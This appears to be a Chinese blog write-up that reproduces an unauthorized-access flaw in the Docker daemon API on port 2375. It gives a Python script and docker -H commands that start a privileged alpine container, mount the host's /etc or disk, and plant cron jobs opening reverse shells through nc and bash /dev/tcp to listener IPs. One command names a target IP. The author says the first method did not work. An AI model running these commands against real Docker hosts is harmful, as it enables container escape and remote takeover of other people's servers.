首页 > 其他分享 >docker daemon api 未授权访问漏洞

docker daemon api 未授权访问漏洞

时间:2022-11-13 15:57:54浏览次数:69  
标签:容器 daemon shell etc api 2375 docker alpine

漏洞环境

编译及启动漏洞环境:

docker-compose build
docker-compose up -d

环境启动后,将监听2375端口。

漏洞复现

 

利用方法是,我们随意启动一个容器,并将宿主机的/etc目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置文件,进行反弹shell。

import docker

client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

写入crontab文件,成功反弹shell:

没复现成功哈

 

 

 

方法二

原理:创建一个docker容器,进入alpine容器,把本地的盘符挂到容器里,通过创建cron任务反弹shell。

docker -H 1.117.159.190:2375 images
docker -H 1.117.159.190:2375 pull alpine
进入镜像
docker -H 1.117.159.190:2375 run -it --privileged alpine /bin/sh
查看本地磁盘
fdisk -l


在容器创建test目录
mkdir test

把本地磁盘挂在到容器test目录下
mount /dev/vda1 /test

  

 

 

 

编辑 /var/spool/cron/crontabs/root
添加计划任务 */1 * * * * bash -i >& /dev/tcp/43.134.29.177/6666 0>&1

 

 

 反弹shell

 

 

宿主机docker版本为18.09.9,否则以上逃逸无效 

标签:容器,daemon,shell,etc,api,2375,docker,alpine
From: https://www.cnblogs.com/lyh1/p/16886082.html

相关文章

  • 实验7:基于REST API的SDN北向应用实践
    实验7:基于RESTAPI的SDN北向应用实践一、实验目的能够编写程序调用OpenDaylightRESTAPI实现特定网络功能;能够编写程序调用RyuRESTAPI实现特定网络功能。二、实验环......
  • 使用 ASP.NET Core MVC 创建 Web API 系列文章目录
    使用ASP.NETCoreMVC创建WebAPI(一)使用ASP.NETCoreMVC创建WebAPI(二) 使用ASP.NETCoreMVC创建WebAPI(三)使用ASP.NETCoreMVC创建WebAPI(四)使用ASP.......
  • BLYNK 之http api 测试
    搭了个BLYNK服务器想了解BLYNK之httpapi,由于所搭建的BLYNK服务器版本和当前blynk官网的版本不一致,没有找到相应资料。最后在网上找到了一篇https://blog.csdn.net/u0136......
  • Liunx安装eclipse-mosquitto之docker容器
    1、docker拉取dockerpulleclipse-mosquitto2、查看镜像dockerimages3、建立配置目录mkdir-p/mnt/mosquitto/configmkdir-p/mnt/mosquitto/datamkdir-p/m......
  • 实验7:基于REST API的SDN北向应用实践
    一、实验目的1.能够编写程序调用OpenDaylightRESTAPI实现特定网络功能;2.能够编写程序调用RyuRESTAPI实现特定网络功能。二、实验环境1.下载虚拟机软件OracleVisual......
  • docker 基础命令
    docker安装Docker的基本组成镜像(image):docker镜像好比一个模板,可以通过这个模板来创建容器服务,tomcat镜像===>run==>tomcat容器(提供服务器)容器(container):docker利......
  • Docker的介绍与安装
    Docker是什么Docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的Linux或Windows操作系统的机器上,也可以实......
  • vue3.2 setup语法糖,多个API解释
    前言在vue3中删除了vue2中的data函数,因此,vue3.0要在template中使用某些变量就必须在最后return出来,多次声明变量,不太方便,也不太友好。而在vue3.2版本之后,我们只需在......
  • docker部署
    1,下载docker-composecurl-Lhttps://get.daocloud.io/docker/compose/releases/download/v2.4.1/docker-compose-`uname-s`-`uname-m`>/usr/local/bin/docker-comp......
  • Eolink是国产API接口管理的无冕之王
    一、传统API接口管理的缺陷1、前言项目开发我们都知道在一个项目团队中是由很多角色组成,最常见团队的就是前端开发工程师、客户端开发工程师、服务端开发工程师组成一个团队......